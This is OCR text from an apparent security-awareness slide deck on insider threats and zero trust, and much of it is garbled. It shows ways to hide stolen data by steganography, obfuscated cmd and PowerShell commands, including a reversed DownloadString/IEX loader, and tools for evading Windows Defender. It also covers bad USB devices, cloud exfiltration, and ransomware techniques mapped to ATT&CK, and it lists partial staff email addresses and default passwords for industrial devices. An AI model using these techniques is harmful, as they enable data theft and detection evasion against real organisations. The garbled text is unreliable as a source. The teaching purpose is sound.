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Zero Trust Security
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Network Cloud Device User Transport / Application Data
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Endpoint Detection and Response
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Demo 1 * BEEEMN A : FBIEFEEZIRB TR LIZEM

2018/08/03

Chinese-American engineer charged with stealing
General Electric trade secrets to take to China

Hiaoging Zheng sneaked out turbine technology data by hiding it within the code of 2
digital photo, the FBI said

A4
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RARWMRESAEBESRMNEEZRLRE - EALICEBH
EREREERRE - FBI E/NBIE 39 BB ASNERETERE
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EIEI

Zheng worked for or owned Chinese companies dealing in the same technologies

produced by GE Power, which produces and markets energy generation techniques
around the world, the FBI found.

“The GE proprietary technologies on which Zheng works would have economic value
to any of GE's business competitors,” FBI Special Agent MD McDonald said in an

affidavit.

GE monitored Zheng as he allegedly transferred files containing turbine technology to
his personzl email account while hiding the data within the binary code of a digital

photograph of a sunset, a prﬂcessknﬂye ”Steganugraph}r;\@ said.

Steganography
[RET - XM

https://www.scmp.com/news/china/article/2158061/us-charges-chinese-american-engineer-stealin %dezg_e'gr(e)tg-ge
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Demo 2 * CMD[EE iy : AX[EEHEEREE

ex >
Insider copy .jpg /b +.rar /a .jpg

Image + Message

o L] —&3

Secure Message steganos Send out

[a]

Image
copy /b original.jpg + "hidden data.txt” "hidden image.jpg” =+ v-Fo>7
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plans to conduct a flash meeting w/A to pass him $300K from our experienced field :
| station rep (R). Half of it is for you ;

w

0088fcO: fa74 e1d5 580f 8c53 8ffa becf cba7 8c36 .t..X..S....... 6
0088fd0: 468e 5¢84 9437 cb35 564c cd24 dobc 701c F.\....5VL.S..p.
0088fed: 74c7 c2d3 99d5 4989 a309 eab8 b5ee 6edf t..... . — n.
0088ffO: bd99 1506 a720 1ffé6 7ada 9eel a455 6bof ..... T T |

0089000: 4e93 cf93 a578 ab12 0a67 49a0 7206 b412 N....x...gIl.r...
0089010: d36b 596d al26 5911 e24b 72a5 81bf d3de .kYm.&Y..Kr.....
0089020: 9f4b 1e22 9d6d 412b 9eld 3745 3d6e 4a59 .K.".mA+..7E=nlY
0089030: 6356 a6a7 4684 ab20 aad3 1f8d dfd4 efc3 cV..F.. ........

0089040: b956 6001 17f6 d8d2 382f Oebc 4e2b 4f3e .V'..... 8/..N+0>
0089050: bOff 000b 96ae 924a 74a9 c7¢cO 1159 54f8 ....... Jt....YT.
0089060: a4f2 d4cc 6440 42b® 46d2 7916 1e9b 8f77 ....d@B.F.y....w
0089070: 2070 1f88 75aa eaf2 a53a [EEIQNS468I697B] p..u....:..This
0089080 gaﬁs 7320 616€ 2053 6563 7265 7420 4d65 is an Secret Me
0089090: 7373 6167 652e 2e2e 0Oa ssage....
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1. Ao]=E1H ( Imperceptibility )
Steganog raph 2. EDIEAIM ( Undetectability )
y 3. EX[E14 ( Robustness )
Demo: Deepsound 4. {SRHEAE ( Capability )
5. FHEEHE ( Computational Complexity )
MRS LR - EAfERonline TE
ﬁ%ﬁ‘ﬁﬁﬁt%ﬁiﬁiﬁ TooI.List:
* Xiao Steganography
Online Content Encode or. USB /HDD * Image Steganography
Steganography Obfuscated NTFS ADS - Steghide
* Crypture
* SteganographX Plus
* rSteg
. * SSuite Picsel
Code Obfuscated Cmd / PowerShell Tools / Scripts » . Camouflage
Online Steganography Steganography + OpenStego
* mp3stego
* Hide'N’'Send
ex: copy/b C:\Users\stalker\Desktop\funny.png + | . . * wbStego4open
C:\Users\stalker\Desktop\newproduc.zip output.png * Our Secret

JavaScript https://github.com/kingthy/imagemask

ZIP/RAR Sound Image Content NTFS>ADS = MS-Office Video Traffic LSB
DeepSourd txt pdf L =
SBAAMERE R
mestonn. V/ Q77 B APNG L &
pasteg o' X -BMPER TR
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Content Encode or. Obfuscated (Demo : CyberChef)

RN EHRR

(ER %R L 4w S
EE B IRTS

https://qchqg.qgithub.io/CyberChef/

AYA

Content Encode or.
Obfuscated

e PRMI LA - HEIEEROonline TR
mRERFR TR
ARSI R

* CyberChef

http://ctf.ssleye.com/ Code Obfuscated : igrtable;r;cod?g[?ecojln_? F:ee
https://www.wntool.com/ for R&D .5 Vagze'r ?CO e Lecode 100ls
http://www.ssleye.com/ * Python . ase 0ols
* JavaScript
Code Obfuscated . Ot
Online . Java
] Image to
Base64 Hexadecimal Hex dump CharCode Baseb8 Base64 ASCII XXencode
Decimal Binary Octal Base32 Base85 Morse code Mk
Base58 Base85 HTML entity URL encode =] unicode
Quoted Encryption
printable Punycode Text encoding Parse TLV URL encode EFENE



https://gchq.github.io/CyberChef/
http://ctf.ssleye.com/
https://www.wntool.com/
http://www.ssleye.com/

cmd.exe /c ", netstat -ano”

CM D ObfuscatEd ( DemO) %g’%g #7% . TEPowerShell c:\windows\system32\nptepad;1.ps1

(EMHEL): £iaEHE N - MIEERNIT - SCEHEASHIR

cmd /C cmd /c “ set envarl=ser&& set envar2=ne&& set L. assoc.cmd_ _
28k envar3=t u&&call echo %envar2%%envar3%%envarl %" 2. for /f "delims=f= tokens=2" %f in ('assoc.cmd’) do
echo %f
- 1. cPmAdA Aeryhe assoc J& | 3. for/f "delims=f= tokens=1-3" %f in (‘assoc.cmd’) do
}EA!F?".;* . A . A AIA AN ££2£ echo %f %g %h
o 2o N 2. echo "> ~ echo | ~ echo *|*| ~ echo F B sk :
%ﬁltblﬁ 3 Cunmndn 4 eChO Cmd Cmd |Ie

assoc . ??Eﬁ%ﬁfﬁ%%%ii@%ﬁ%ﬁ IR BERZER
cmd /V:ON ' cmd /V:ON /C "set envar=net FERFREET R T

2 B0% use && echo 'envar!”

CMD https://github.com/danielbohannon/Invoke-DOSfuscation
RIREH Cbfus
o 0 uscated N=o—
BHEGS echo %ComSpec% TEES Batch File Encrypt tools or Script:
Quick Batch File Compiler
https://www.abyssmedia.com/quickbfc/
7’
copy del create -7
-7 For
read modify | listing |} s HHES cmd /C "for /L %i in (1,1,5) do start cmd
Directory- .
Createy Symbolic link m# 1. %comspec:~11,1%%comspec:~-1%%comspec:~-13,1%
F#Ej% | 2.Cmd /C “set envar=net use && call echo %envar%

[El+E cmd.exe /¢ ( ( ((echo Command 1) ) )) &&( ( (((((echo
F#$x | Command 2))))) ) )

gigt::% 1. cmd /c “ set envarl=ser&& set envar2=ne&& set
E{g E:£ envar3=t u&&call %envar2%%envar3%%envarl %" -
Bzl 2. Powe%ALLUSERSPROFILE:~4,1%Shell - Y-FORT




#n 5 (Windows DOS CMD) 4z Il B
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cmd.exe /c "echo
InsiderThreats”

d=%windir:~ -4, -3%

BEMR

:(Demo)

an = Hl ARy {E 24 BB IRAVE R
FIAFIC A R an 2 5l Hemd M power = &5 IR AUSRER

cmd.exe /c "set O=Threats&set B=ider&&set D=echo Ins&&call %D%%B%%0%"

cm%windir:~ -4, -3%.e*Xe,;* /*C";, S*"Et * *o*
*"n*s*i&&,;,C*AIM,;,*%"*D%"%B %" %0" %"

nr nr

FOR /F "delims=il tokens=+4" %Z IN ('assoc .cdxml') DO %Z ,*/*C",; S"Et * *o*=e"at"s&,;*se"T * * B*=d"erT"hr&&,; s"Et" *
d*=ec”*ho 1"n*si&&,;,C*Al*,;,*%*D%"%B%"%0%"

=Th*re"ats&,;,"se’T * * "B"=d"e*r&&,;,s"Et* * d"=ec*ho

"F*R,,,,.,;;
AAaAASAASAAoC 5

, " delims=il tokens=+4";::,,,,%Z;,,,,"In,,.;,,..C...:" .0
;.cMdMxm™MY L), M, %2, N /ACT, SMEE M fot=etatsk, ; , Ase T A A
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ABr=d*erTr&&, ;, s"Et* » d*=ec*ho I"ns?i&&, ; , C*AI*, ; , * %"D%"%B%"%0%"
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PowerShell Obfuscated (Demo)

"DownloadString”

"Down’l'oad Strin’g"

1. RMEEE?
2. Set-ExecutionPolicy Unrestricted —force ?

‘Command I*e-E*

Import-Module ./Invoke-
Obfuscation.psd1

RS ENAT FARFE5I5R
HiE 44D
““powershell R
Sre= EEY T
")'1/1.0.0.721//:ptth’ (gnirt — PowerShell
SdaolnwoD.)tneilCbeW.teN m B AT Obfuscated
tcejbO-weN("; p _ N
IEX (Sre[-1..-(Sre.Length)] - Bl R Wex:IEX
Join ') | IEX Command# i
encodedCommand = TER
[Convert]::ToBase64String(
Sbytes) powershell.exe - 50 -
=] .
EncodedGommand Power Shell#} 412 H - W2
sencodedCommand CREPRIBFRE ., - LR
. . #1038 B PRVl FERETT I
&(GAL I*X N
(CALTO W E TR

i#BPowerShell TI#|{Tps1

Invoke-Expression Base64String
A ToString
http "ht"+"tp

System.Net.WebClient)

Net.WebClient

Invoke B

BEER

IEX

BES (R51%) G5
HERTIT - HAR -+
BEIE - R - BEIER
RrER

E
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“SExecutionContext.InvokeC
ommand.GetCmdlets('I*e-
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Demo 4.1, REMEAREZEIRE © BRIFERTERPDEBINIES

Live Demo : MK RAVER
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Demo 4.2, EimFIEN : {ELLGoogle Cloud Print4 {7l

Smartphone/tablet

Cloud printing

i
e
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Demo 5~ 10 : HEHBHUSAEE

HID Hacking

T—
(; L

USBNINJA-
BADUSB REMAKE

YubiKey Weaponize USB NINJA

USB Rubber Ducky Pi zero USB Dongle

Network Sniffer

Teensy Keyboard HID

-

Bash Bunny Packet Squirrel

Network Host USB Boot

Windows To Go

Version portable de Windows

SSH to Pi Zero Web to Anonabox AY Windows
PER% K&

Screencast

VideoGhost Screen Crab
Wi-Fi & 4G

® I <

4G Wi-Fi AP & Storage Wi-Fi AP & Storage ~ Wi-Fi SSD
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PowerShell
Scripts
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{1 EZZBad USB (Demo: pi zero w)

ECM or.

RNDIS

& S v =

Driver E.I-L/iEn. o i Dpip

nEEREEIER FHRR AR REENES ?
e | @ ____ Bmomemms —[EUSBSIAES) 2 R LA >
2l N — —
i D @ | lcpul e |USB||USB| L —
= R NE BHEERSENER...F

|- 8@ @ |- 4

——————————————————————————————————— 378 5Tl 48 B8

iE (B4, TERA REE@ENHAFZMAEDS - MEKX

\
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Demo 11. Shadow IT : Servers UltimateF#EF) {7 PR35

- Caddy Server - Load Balancer Server Server _
- CVS Server - LPD Server - Server Monitor
- DC Hub Server - Memcached Server - SFTP Server
- DHCP (Proxy, Relay)Server - MongoDB Server - SIP Server
- UPnP Server - MQTT Server - SMB / CIFS Server
- DNS (Masq) Server - Multicast DNS Server - SMPP Server
- Dynamic DNS Server - MySQL Server - SMS Gateway
- eDonkey Server - Napster Server - SOCKS Server
- SSH Server

- Email Server: POP3, SMTP - NFS Server

- Flash Policy Server - Nginx Server - Stomp Server
- FTP (proxy, root)Server - Node.js Server - Styx Server
i . - - Syslog Server
Servers Ultimate < FTPS Server NTP Server | Sysl09 S
- FTPES Server - NZB Downloader Client - lelnet Server
- Git Server - PHP Server - T!:TP Server
- HTTP (Proxy, Snoop) - Port Forwarder - Time Server
- ICAP Server - PXE Server - Torrent Tracker Server

@ @ - Icecast Server - Remote Control Server ) Trigger Server
- ISCSI Server - RTMP (Proxy )Server - UPnP Port Mapper
- USB/IP Server - Web Server - X11 Server

- VNC Server - WebDAV Server - XMP@erv\gr- FORT




Demo 12, PowerShellZZ Z 28R (FR1E)

MIS & IT

G

N

1. PowerLine (Windows Defender2 {85 H)
https://qithub.com/fullmetalcache/PowerLine

2. Not PowerShell nps.exe (Windows Defender 215 l)
https://qgithub.com/Ben0xA/nps

3. PowerShdll (Windows Defender2 /&8l - “Erundl32)
https://qithub.com/p3nt4/PowerShdll

aa

5

PowerShell.exe

4. PowerLessShell (Windows Defender= 18} k58 MSBuild.exe)
https://qithub.com/Mr-Un1k0d3r/PowerLessShell

PowerShell.exe E&#EE(FH - EEFH
fth 7550 LB #1TPowerShell PS1

5. Nopowershell (837 EDRE mn o] LUER])
https://github.com/bitsadmin/nopowershell

Live Demo Using EXE bypass UAC run
PowerShell of BitLocker ransomware

6. SyncAppvPublishingServer (Windows DefenderEMEjﬁ\U)
executable .exe — SyncAppvPublishingServer.exe

VBScript — SyncAppvPublishingServer.vbs
https://twitter.com/monoxgas/status/895045566090010624

7. 2—&/)E (BRIhEEAR) A N-FO2T



https://github.com/fullmetalcache/PowerLine
https://github.com/Ben0xA/nps
https://github.com/p3nt4/PowerShdll
https://github.com/Mr-Un1k0d3r/PowerLessShell
https://github.com/bitsadmin/nopowershell
https://twitter.com/monoxgas/status/895045566090010624

Demo 13, AHMABMES : EERZURIFEINEAARIR

— RAXHRERER | | L BERNEERE

RMEEEED . ERIEARM
KAEEFRANEAZRSE - | | ZERNEFBRENZL

B 40 £ B JavaScript X
VisualBasic (VBA) BRE
SRR AEBRTE Office X
% - PDF 13 - B4EEDL
ENUEENEZAE

AEEEFRHEEN - 17
ZANAEENEHKEET
BENEAEIAREZETE
(API) PowerShell

PsExec 2 WMI AR IEE#

TREFNEERISHERE

= IRARMARLZEES
= :

BEEXNEMEBRE
O NREMAZE D
IWTETGIE FPEEREE -
EFE% PowerShell E48 T
BN AZBSKATIE
A

RE:
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Demo 15, EFZAHEE @ Ei

PAAzure #7=E2 or. OneDrive®&

kIR ﬁﬁﬂﬁ”‘"
. . Cloud App
One Drive Sync App on Windows (tools)
CMD to Cloud

, Dri . .
PowerShell to Azure or. OneDrive e s G

Google Drive Web SITE

One Drive & Azure to Web (https://drive.google.com/)

Powershell upload file to Drive

AZCopy to Azure Storage (ConnorGriffin/GDrive.Upload.ps1)
Office save to OneDrive Office save to google drive
Python, c# ... upload to OneDrive Python, c# ... upload to drive
or. Azure Storage (Google API)
https://olivermarshall.net/how-to-upload-a-file-to-google-drive-from-the-command-line/ ; X-FO)?T

https://gist.github.com/ConnorGriffin/dc804357bb10ff7522d0e21ddfdf9398
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 MEGA  Google Drive B e | __ e )
* pCloud e OneDrive o ﬂ o @] | i MAENGIO,

« Yandex DiskMail.Ru Cloud |+ Dropbox e T

e « 4 B s ThisPC w | Search This BC P

 AWSS3 * OneDrive Business S "
* Azure Storage * Google Drive Shared with » o Bicaeor 26758
. « Network locations (7)
« Google Cloud Storage me/Computers/Link g = i —
* Naver Object Storage * OneDrive Shared/Link E'
- Alibaba Object Storage |+ WebDAV, SFTP, FTP - e o

1.9 GE free of 100 GB 7.90 EB free of 7.00 £

* |IBM Object Storage  Dropbox Business !ounmm Hmm

]
* Wasabi Object Storage * Box
H o Dropbex (Z:)
* Local Disk addon  SharePoint g—
oA X-FO?T




T2 E4E?

EANSE S T IREN—S 7 -
HRNNREPPAE - AHRE O&— @

AYRS AR R 2 ¥ AR S -

3ETHERRZ
& %
i

&R

=m

AR

B4

4 IE=EFECE H A

1LERLE : @
AR Y
EREERS
=T

L RF4H DG
EEREH
MRANE
2.12% - ERRVIEHE - AR
FZRER SR B B RV EE
MESwEE

B BRIRIR

Darknet * Dark Web - R 8E 45T
o HEE  FKRIRHE - BB ARTE

7 BEE LVHEIBEIR -
o —iREIERMEF5|EHARIIEH

AR - —itE ANAIRMEEER
oEREESMIBAUSMBEMNET
ABNE 73RBS "B 4 (Clearnet)

ERGEB ARRAREE - BEERIESE
RVRAEEE R ENE (B R
R4 s E i 2 2HTTP/HTTPS -
2 B {EFES0/443 ) - L {EF 72 EL
PR IE EBEER R ERIE -
FEEEEEMNNE= ABIANES
IBEM - MBEANTEADS - #MLUEN
HEEB7HE - MEFE= A&
B - MEIABRTAS -

w X-FORT



i T REL MAME |

—REABIUBRNER
40 : Google Search °

Demo : Google Hacking DB

https://www.exploit-db.com/google-hacking-database/
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I Welcome to Alibaba
— ® Fo
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A1 200844 IR0 kS
. .
B — All-New File Selling Service.

A-163

Welcome to the place where you can easily publish
320075 AR £ SEEEAR-296-276 your files and receive payments.
bt Rt Technical skills:

@ No more than one file.
@ The maximum file size is 100 Mb
@ Click Browse button to select file

Browse... | No file selected Upload

bl 2 S FAOREAR
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Binance

Social Engineering skills:

FEWTHEIIT - - Sk ARRE
ST R# TR

Home Categories Register Login  Help

Adult (867) Business (5442) Communications (522)

Hardcore (230 re (60) Erotica (293) E Exchanges (66 Press (90) Chat(247) Email (150) Other (35)

) ther (147) Escorts (21) Stol 82

Core Sites (567) Other Languages (1046)

ntroduction Points (155) Search En (283) Pastebin (70) A ) C 85 11 erman (98
Other (112 171)  Other (39)
Personal (1765) Politics and Religion (410) Social (1303)

Blogs (621) Books (138) Pag: ) BBS (38) Chans (1

Social Networks (82

SITE LOGIN

Username:

Technology (801) Gambling (320) Other (10755)
z A

ng (79) Ha (216)

Password:

142 Bets (60) Casino Games (59) Other (201) Art(1

knowing 34737 .onion links of which 4818 are online, 29918 are offline and 1 weren't checked yet
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(Target) Ransomware JEENHE 7 B F2 T 455 4=

Weaponization

5 -

. Spread Encrypt

Device: _ - - & Pay & Minin

« USB .~ Technics . g

HID - Technics

- NThja -

Hijacking Technical oS

Technics Characteristics Whitelist
Technics

Internet
URL Ransom

. medium

Boot

Technics File-less
Mail Attachment Technics
Elevation
. of Service
le: PrivilegeT Control
e« Macro echnics Technics
exe(or. RLS
PowerShell (ps

File-less (ps1, pd Service & . ‘6

. . . Anti-Disassembly
Scripts (js, python, java... Protocol: T

. boot
- RDP(3389) *  Anti-Vm . ;ihc::alule
. SMB(1394 *  Anti-Sandbox

(vss) Safe mode
e  Anti-Backup (vss :
« VPN P Stop service (ex. DB) T
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Garmin
Wasted- Locker

Encrypt database files

File Data)

Encrypting
Ransomware

Mobile Device
Ransomware

Locker

Others Ransomware

W

PostgreSQL 0 mongo

® Use System Weak Passwordto ® Using Web Applications
Encrypt & Destroy Database Vulnerability to Destroy Database
Data v ex. Mass SQL Injection
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Ransomware
attack

5. Advanced i
Anti-Virus
(Software i
Whitelist)

Trash can
retrieve data

Revisit Ransom medium
& Technical Characteristics
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Al - FRAMEERINAREE 1. f#RTarget Ransom, Hacking Steal
2. Bt ¥2Hiﬁ%%*i¥§$t$£iii§?ﬁﬂ1iﬁ§
3. HEEERENFEE
== C:\Users\Documents
b C:\Users\Desktop
0S Disk C:\ C:\Users\Pictures
Compatlblllty
Windows XP
Windows 7
Windows 10
Windows Server 2003 (,\-,3 “
5. Advanced Windows Server 2008 b R “
Anti-Virus *  Windows Server 2012 . .
Whitelist «  Windows Server 2016 Data Disk D:\ E:\ ... Cloud Sync Directory
(Whitelist) ¢ Windows Server 2019

~ %
Virtual Disk X:\
(SVS)

FEBRBESHER TR \nziéﬂﬁﬁ%‘tﬁzzﬁ; Protected
L. drive
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I-"rl\ﬂlege Escalation
12 technigues

Spread
& Pay
Technics

Encrypt
& Mining

Initial Access Execution Persistence
- - iEchnigues. - 10 technigues 17 technigues
. Drive-by | . Account
A Compromise 1~ E - s Manipulation
/L — 4= avascnpt/lscnp R
/ SRpIoR Fubie- = ™ e BITS Jobs
Facing PowerShell
/ Application Command and —— = == == =1 Boot or Logon
~ Scripting Python Autostart
URL7K L External Remote Interpreter 57 Executmn 11)
Services Unix Shell
Boot or LGgDn N
Hardware Visual Basic Initialization N N
Additions Sr:r||:>t5 /5
Windows Command Shell
FPhishing (0/2) n Browser
S Exploitation for Extensions
Replication Client Execution
Through Compromise
Removable Inter-Process Client Software
redia Communication Binary
Supply Chain Mative AFI Create
Compromise ;- Account
B Scheduled (172}
Trusted Task/lob =
Relationship o Create or Modify
Shared Modules System
Valid Frocess (0/4)
Accounts i o Software
o Deployment Tools Event Trlgger ]

Launchctl

System Services 2 B S avios Exacirion

& FAWindows
HE?%?’“%U"‘:IEEE

Malicious File

User Execution ()
' Malicious Link

Technics

Bypass User Access Control DLL

Hijacking
Technics

Technical
Characteristics

(039
Whitelist
Technics

Abuse Elevation Elevated Executi
Control

Mechanism (1 .y

Q with Prompt
Setuid and Setgid \

Sudo and Sudo Cach\-
Boot
Technics File-less

Technics

Access Token
Manipulation (0/5)

Eo r hgaon
,C\uttgaﬁ
Executlcun 11

Bypass
(UAC)
Technics

Service
Control
Technics

Boot or chon
Initialization

- HlE—@
T KRS

Credential Access
13 techniques

Defense Evasion
12 techniques

Brute
Force

us® == ¢

from Password
- stores

Abuse Elevation El ution wif ~
Control k
Mechanism 1,

Unsecured -
Credentials ;5

Hide Artifacts (15

Obfuscated Files or
nformation (1 5)

Software Packing

Steganography
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Clear Windows Event Logs

File Deletion

Indicator Removal on i
Host (1)
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https://amibreached.com/ eznE - BEZREWA - mBEERE?

c@ELE Home Pricing Our Blog Contact Us FAQ

" Search Anything on the Dark
Web or Data Breaches

Use Cyble's Largest Dark Web Monitoring Engine to Assess
Your Exposure.

Make Sure You're Aware of the Risks by Searching Through
Our 80,143,817,166 Records!

We Have Over 40,000 Data Breaches, Several Hacking
Forums, Conversations Indexed.

J

Enter Your Query Here e

AS SEEN ON

USA - Y
. TODAY Business Standard

live Mashable
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(CDC, GatesFund, NIH, WHO )

270, ZSRESTEHEHREETE

gatesfoundation.org

@gatesfoundation.org
ll@gatesfoundation.org
darl undation.org
atesfoundation.org
er@gatesfoundation.org
tr ~undation.org

‘ndation.org

52165, WHOEMM 4% B HIZR TS

oav@mg.afro.who.int

o@who.int |

Fd@mg.afro.who.int

aliane@searo.who.int

JCirg.emro.who.int

earo.who.int

bearo *vho.int
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"signalType": "CREATE_ORDER

order_date\": \"2020-06-14T03:21:23Z\" ,\r "currency_code\": \N"CAD\",\r "attributes\": {\u "checkout_language\” g
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A B C E E G a9 Echelan nLON SmartSersgr far Mp and Ing farvars:, lanoalan raubér fip, LZTP
5 40 Electro Industries/GaugeTech  Meoous 1500+, Newus 1500 an Blitcp Pawer Quality Kleter HTTP
= = 41 Electro Industries/GaugeTech  Commaunicatos EXT 20 eic Blltep Pawer Manitoring 5 HTTP
? :;:dnr 2::;;1! ?nl’null paraward Fort 2::::":” Protacel 42 Emerson DeltaV Digital Avtomation Syst Ac Autemation System
3 AEE SREADL a Blftcp | Ethemet Adapter Mc hitp L] e e A R ek el L
- 44 Emerson Srriart Wineless Gatewary 1420 | ad i Bltep Wireless Gateway | hitp
9 Adcen Telemetry Telemetry Gateway AS40 and W r terminal pr Base Station a5 Emerson Hetwork Powes MPH2 Back PO ad Bicn fack PO htp
10 Adcen Telemetry 2ddVANTAGE Pra .l [ Blalvtep  |HA HTTR a5 Emerson L3z UPs 12 uES Serial
11 Advantech Advantech Webdocess browse: a Bltcp browser-based HM] HTTP a7 Emersan Control Link Refigeration Syste 0 Controller
12 Allied Telesis [E2M) Sevies: AT-IEX0-EGT, AT- terminal gr [ndustrial Ethernet Switches a8 Emerson Ultrasite Us Sofbware
13 E&:E ELECTRONICS CRID W2 T Blitep Industrial router http 49 Emerson Avecent ACSH000 Advanced C ad Console Server consele part, w
14 B&E ELECTROMICS Conel 401 [ Bltep Industrial router hitp 50 Emerson ROCLIMEK 800 LE Seftware Consale
15 B&E ELECTROMICS SPECTRE Router T Btep Bouter http 51 Emerson Contrefitove Macro Quick fal mc
16 BR&E ELECTROMICS ERTSI/ER 75i DUCYER 75 SL/ER: ¢ Bltcp Industrial router http a2 Emerson EP-KVM Avocent hMergePoint U|Ac Switch local, HTTR
17 B&E ELECTROMICS LET7 v2 Libratum/LETT v2 I Btcp  Industrial router  hitp 33 Emersan Crwation DCS we Switch for Distribute Telnet
18 BRE ELECTROMIC WIASH w2 r Btep Industrial router http 54 Emerson Creation DCS Sh Switch for Distribute SNAP
19 E&E ELECTROMICS UCREL-vZUCREL w2 5L : Elften  Incustrial router  hittp 5 Endress+ Hauser Fitldgate FRAS2 s Bt Gateway fot rernote HTTP
20 E&E ELECTROMIC KRS w2 ENNRS v HRSNRSISL ¢ Bftep  Incustrial router  hitp 30 ENTES EMG-10, EMG.02, EMG-12__ Len {Bjtcp | MODBUS Gatewny |hkp
21 Beckhoff Autometion GrbH | CX5020 " Bep  PLE Telnet 52 ol = L Stytep | Reuter L
22 Beck IAC PCECHI n PLC pepichap 33 General fl:r.1-'fc Int:llfgm: Flatf :CﬂngSPNEDﬂl ad _’3.'.1;:!: (telr PROFINET C.l:nl:mlle telnet
39 Genera! Electric Intelligent Platf EOG95ECHA350 ad 23/tcp (belr JIEC 61830 Client telnet
el BinTec Elmeg BinTec 13200 T # Bouter 60 General Electric Intelligent Platf ECSISETAA00D, [CBISCPEZDS, ICI 5y 18245/ udp Ethemet module/progeammable cot
24 EinTec Elmeg amy roarters 4 knawrcsnmp: Bouter &l General Electeic Intelligent Platf ECERSCPENZ0, OGS CREQSD, 106 ws Hitep Frograrmmable cont fip
23 EinTec Elmeg BinTec R230aw 2 Bouter 52 Helmbelz Systerne HETLink PR HW 1-1a-1 and P NE Elhesriet Gateway To HTTD
6 BinTec Elmeg Birtes WHNZT-n a 'WLAM Access Point for applications 63 Hircchmann BA20/RS0, MICE e B ten Suwiteh kit
27 Carle Gavazzi PowerSaft a mindular software [ Hirschmann RSP 20/35,/30/35 us 23/ tep (telr Industrial rauter telnet
28 Conternporany Control Systems BASRT-E a Bllitcp Router http (] Hirzchmann BACH 4000 Farmnaly/MACH 1000 s Industrial rauter
29 Datasensor URSEURS 5L T Etcp Router http 66 Hirschmann CCTOPUS ML, GCTOPUS 16K s ftep Industrial router  telnet
30 Deif AT 500 r Advanced Wind turbine Contraller &7 HelbySys Automation Technale LE SERIES PLC FT 2/tgp, 234 FLC FTP, Telnet
31 Digi DC-ME-01T-5 I Metworking Medule hetp 68 Honeywell Honepwell KL G Biviep Controller HTTR
3z Digi Digi Connect 5P, Digi Connect \r Etcp Metwork Device Sen http &3 i 2210 de Multipretacal Reuter
3z Digi Digi Connect ES /8 S8 with Sw Bltcp Concentrator http L fadal o PIKO-Invester 3., 3.5, 4.2, 5.5, 7| p Bil/tep solanEmates HITE
34 Digi ConnectPort TS dod, ConnectPyr Blicp Terminal Server http ;; i':::::'::: :tz E::':E:E E:lLﬁ:::I‘J’PU ::rl jt::': :::E g: ::::I'[E
35 Digi Digi Connect WAN, Digi Conne r Blftep Industrial router http = s AiWaiks .-«.'.'K-B:B]-RCI{ = El]."l{j': Induntral Badin HT'I::D
36 Digi Drigi TransPart WR21AWR44 u Ellitcp Industrial router http 4 Heas Baitviy Rerrite L0 FoLogik EL H] Wilitep  Remete Ethernet UG HITO
2 Digi Do G L cunsols pojindustrial router 75 Fema Cellular Micre RTU Controlles (i ad o T 2000 micre RTU eantrolle telnet ar seral €
T T T rhﬂTfi Ty T _-,r?,i":{:-'-' LT — - LA R L =, S 1 i1 Mewa WPt £61 [nduwstrial Wideo Enco ad Industrial Video Enci telnet
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. asa3505_cleant0000.bin . asa3505_clean70000.bin . asa3505_cleanE18BF bin . asa3505_cleanEC480.bin . asa3505_patch&0000.bin
BIM 2= BIM 22 = BIN I2& BIM 23
64.0 KB e4.0 KB 14.8 KB 55.7 KB
. asa3505_patchE18BF.bin . asa3505_patchEC480.bin . asaGen_clean10000_biosVer1 14 . asaGen_clean20000_biosVer100 - asaGen_clean30000.kin
BIM ‘EE_ EIM B2 or115.bin orl12.bin BIM 52
5 BIM iB2& BIN B2 4.0 KB
. asaGen_cleanEFR00.bin . asaGen_patch10000_bios\Veri14 . asaGen_patch20000_biosVer100
BIM 22 or115.bin ort12.bin
400 KB BIN 2 BIM 22
. asaGen_patchEFD00_biosVer100 . asaGen_patchEFO00_biosVer114 [ SCREAM_UA_full _support.bin
or112.bin or115.bin BIM BB
BIM i2& BIN f2& 4.0 KB
L. BG2111_jp11_ua_asa5505.bin L BG2111_jp11_ua_asaGen.bin L BG2111_jp11_ua_pixGen.bin - jp11_code_asaGen.bin . jp11_code_pix501.bin
BIN 22 BIN 8% BIN 83 BIN 83 BIM {22
4.0 KB 4.0 KB 4.0 KB 7.09 KB 8.06 KB
. jp11_code_pixGen.bin . jp11_hook_501.bin L jp11_hook_flash_asaGen.bin . jp11_hook_gen.bin [ jp11 hDDk _tftp_asaGen.bin
BIM 2E BIM B BIMN 22 BIM 22E =
L | 795KB L | 37{@fumzE L L | 37{@fum:E L
[ orig_code.bin [ orig_hook bin [, b wer_1_10_0_orig_flash_azaGen.bin [,
BIM 22 BIM #E28 BIM 22
L 6 KB L | 37 {@fumE L L | 7{EumE L
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